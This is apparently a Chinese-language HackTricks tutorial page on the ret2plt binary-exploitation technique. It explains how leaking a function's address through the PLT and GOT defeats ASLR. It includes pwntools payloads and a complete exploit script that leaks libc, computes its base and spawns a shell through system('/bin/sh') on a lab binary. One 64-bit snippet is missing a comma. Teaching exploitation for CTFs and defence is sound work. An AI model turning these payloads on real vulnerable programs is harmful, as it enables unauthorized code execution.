Ret2plt

学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。

基本信息

该技术的目标是 从 PLT 中泄露一个函数的地址 以绕过 ASLR。这是因为如果，例如，你泄露了 libc 中 puts 函数的地址，你就可以 计算 libc 的基址 并计算偏移量以访问其他函数，如 system。

这可以通过 pwntools 负载完成，例如 (来自这里):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

注意如何 puts（使用来自 PLT 的地址）被调用时使用了位于 GOT（全局偏移表）中的 puts 地址。这是因为在 puts 打印 puts 的 GOT 条目时，这个 条目将包含 puts 在内存中的确切地址。

还要注意如何在利用中使用了 main 的地址，以便当 puts 结束其执行时，二进制文件会再次调用 main 而不是退出（因此泄露的地址将继续有效）。

注意，为了使这项工作，二进制文件不能使用 PIE 编译，或者你必须找到一个泄露以绕过 PIE，以便知道 PLT、GOT 和 main 的地址。否则，你需要先绕过 PIE。

你可以在 这里找到这个绕过的完整示例。这是该 示例 的最终利用：

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

其他示例与参考

• https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

• 64位，启用ASLR但没有PIE，第一步是填充溢出直到canary的字节0x00，然后调用puts并泄露它。使用canary创建一个ROP gadget来调用puts以泄露GOT中puts的地址，然后调用system('/bin/sh')的ROP gadget。

• https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html

• 64位，启用ASLR，没有canary，主函数中的堆栈溢出来自子函数。ROP gadget调用puts以泄露GOT中puts的地址，然后调用一个gadget。

学习与实践AWS黑客技术：HackTricks培训AWS红队专家（ARTE） 学习与实践GCP黑客技术：HackTricks培训GCP红队专家（GRTE）

支持HackTricks

• 查看订阅计划!

• 加入 💬 Discord群组或电报群组或关注我们在Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks和HackTricks Cloud github仓库提交PR分享黑客技巧。